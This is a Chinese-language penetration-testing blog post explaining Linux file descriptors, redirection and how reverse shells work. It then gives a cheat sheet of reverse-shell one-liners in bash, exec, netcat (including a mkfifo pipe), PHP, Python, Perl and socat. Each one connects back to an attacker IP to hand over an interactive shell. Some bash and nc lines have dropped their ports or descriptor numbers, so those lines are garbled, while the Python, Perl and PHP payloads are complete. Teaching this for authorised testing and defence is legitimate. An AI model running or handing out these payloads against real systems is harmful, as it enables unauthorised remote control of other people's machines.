渗透测试中Linux下反弹shell的认识
最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧。
0x00 前言
在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反弹shell的时候你真的懂了反弹shell
的payload 的? 这篇会细致总结下常见反弹shell的情况(Linux)和反弹shell的本质。
0x01 Linux的文件描述符
linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。
当Linux启动的时候会默认打开三个文件描述符,分别是:
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
下面引用先知社区对文件描述符的脑图,非常清晰

文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)
一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。
(1)输入重定向 < <<
(2)输出重定向 > >>
还有就是>&这个符号的含义,最好的理解是这样的:
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
0x02 Linux bash反弹shell解析
ps:反弹shell的原因 ,这里提一下
通常是因为网络环境(内网下断机器)、防火墙受限(限制入站规则)、权限维持(目标会更换域名、ip等)等等原因。
bash反弹
bash -i >&/dev/tcp/192.168.5.3/ >&
一个个解析
bash -i 产生一个交互式bash,bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别),-i 这个参数表示的是产生交互式的shell
>& /dev/tcp/ip/port 建立TCP连接,并将标准输出和错误重定向到TCP连接,/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。
0>&1 从TCP连接获取输入
为了更好理解
这里我们也做个试验
这里我们把bash的内容标准输出和标准错误输出都重定向到192.168.190.138/6666
攻击机nc监听:
nc -lvp

目标机bash反弹
bash -i >&/dev/tcp/192.168.5.3/

因为这里目标机把bash的输出重定向到攻击机的6666端口,所以任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

我们再来试验一下
攻击机还是nc监听 这次目标机器执行
bash -i < /dev/tcp/192.168.5.3/
这是把/dev/tcp/192.168.5.3/6666的标准输入重定向到目标机的bash
这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了

攻击机执行whoami

而回显 也就是目标机的输出还是在目标机的本机

ok这里就很清楚了输出输入的重定向了
bash反弹也就是结合上面两条命令:
bash -i > /dev/tcp/192.168.5.3/6666 >&
输入0是由/dev/tcp/192.168.5.3/6666 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.5.3/6666上,这就形成了一个回路,实现了我们远程交互式shell 的功能


这时候我们的输入还是会在目标机 这时候我们多加一条2>&1 标准错误输入重定向到&1标准输入,也就是我们攻击机的6666端口
bash -i > /dev/tcp/192.168.5.3/6666 >& >&

这时候目标机就没有输入的输出了

0x03 常见反弹shell形式
bash反弹
bash -i>& /dev/tcp/192.168.146.129/ >&
bash -i>& /dev/tcp/192.168.146.129/ <&
这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别
exec绑定反弹
exec <>/dev/tcp/192.168.146.129/;cat <&|while read line;do $line >& >&;done
<&;exec <>/dev/tcp/192.168.5.3/; sh <& >& >&
nc反弹
nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell)
nc -e /bin/sh 192.168.146.129
但是如果是没有-e 选项是不是就不能实现了呢?当然不是,我们可以向下面这样
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i >&|nc 192.168.146.129 >/tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
类似的命令:
mknod backpipe p; nc 192.168.146.129 <backpipe | /bin/bash >backpipe >backpipe
如果觉得很复杂 nc就算没有-e也可以利用管道符直接反弹
nc -nvlp nc -nvlp
连接
nc 192.168.0.4 |/bin/bash|192.168.0.4
php反弹shell
使用php的exec函数执行方法1反弹shell的命令:
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
也可以使用php建立socket会话:
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
反向连接
php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.21.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
perl:
perl -e 'use Socket;$i="192.168.21.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
socat:
socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:192.168.21.1:
根据不用场景利用可利用的资源进行反弹
渗透测试中Linux下反弹shell的认识的更多相关文章
- 从一次渗透谈到linux如何反弹shell
		
零.绪论 背景: ThinkPHP框架的--> 找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处. 一.渗透过程 1.首先看了一下,没有回显. 2.用ceye ...
 - Linux下反弹shell的种种方式
		
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
 - linux下反弹shell
		
01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10 192.168.43.151 监听端 装有nc kali ...
 - Windows/Linux 下反弹shell
		
Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...
 - 渗透测试思路 | Linux下自动化搭建FakeAP,劫持用户在Portal认证下的所有流量
		
如何在linux下搭建一个fakeap,使得portal认证下的用户无法发现连接你的假AP,并且能够正常上网.先说一下portal认证.无线WIFI认证方式主要有wpa2 和 open两种,而port ...
 - Linux下反弹shell笔记
		
0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 —u 则 ...
 - 详述MySQL服务在渗透测试中的利用
		
本文作者:i春秋签约作家——Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...
 - 反向代理在Web渗透测试中的运用
		
在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...
 - [转] 关于linux下通过shell命令(自动)修改用户密码
		
关于linux下通过shell命令(自动)修改用户密码 2012-04-23 18:47:39 分类: 原文地址:关于linux下(自动)修改用户密码 作者:ubuntuer 本文章总结了如何手动.自 ...
 
随机推荐
- 配置phpmyadmin连接远程 MySQL数据库
			
引言:1.phpmyadmin程序所在服务器:192.168.1.1,访问地址为:http://192.168.1.1/phpmyadmin2.MySQL数据库所在服务器:192.168.1.2, ...
 - VUE从入门到放弃(项目全流程)————VUE
			
VUE从入门到放弃(第一天)--整体流程 先想想一个项目,vue项目是从什么到什么,然后再什么的?那是什么呢? 搭建 ( vue-cli) 代码内容 运行 封装 成品 一.搭建(脚手架vue-cli) ...
 - 反射的应用、获取Class类实例
			
*准备工作: 包结构:* ======================= Person.java代码: package com.atguigu.java; public class Person { ...
 - iOS上架的整体流程和建议
			
App Store上架指的是iOS应用从提交申请到上线的整个过程,它的目的是让应用展示在App Store上获取流量.用户. 一.iOS上架的整体流程 1.申请开发者账号 苹果的开发者账号主要分为三种 ...
 - tcp居然会数据延迟40ms被发送
			
tcpdump是很好的tcp分析工具,在此配合nc命令来学习tcpdump nc -l 8000 tcpdump -S -n -i lo tcp and host 127.0.0.1 and port ...
 - windows导出文件名列表
			
新建txt文件,粘贴以下命令: DIR *.* /B >LIST.TXT 将txt文件的后缀改为.bat 执行bat文件即可
 - JavaScript之深入函数(二)
			
上一篇我们主要讲解了函数的执行过程和原理,本篇我们将介绍函数的另外两个特殊表现:闭包和立即执行函数. 一 闭包 1, 闭包的形成 之前我们提到,函数执行完毕,马上就会销毁自己的AO对象.但是如果遇到 ...
 - BOM之window核心模块
			
Window对象包含以下五大核心:document,screen,navigator,history,location. 一 document 文档 document包含了浏览器对标准DOM实 ...
 - Java查询判断素数实验报告
			
实验源代码: package sushu; import java.util.Scanner; public class First { int size=2; int data[]=new int[ ...
 - 新手学习FFmpeg - 通过API实现可控的Filter调用链
			
虽然通过声明[x][y]avfilter=a=x:b=y;avfilter=xxx的方式可以创建一个可用的Filter调用链,并且在绝大多数场合下这种方式都是靠谱和实用的. 但如果想精细化的管理AVF ...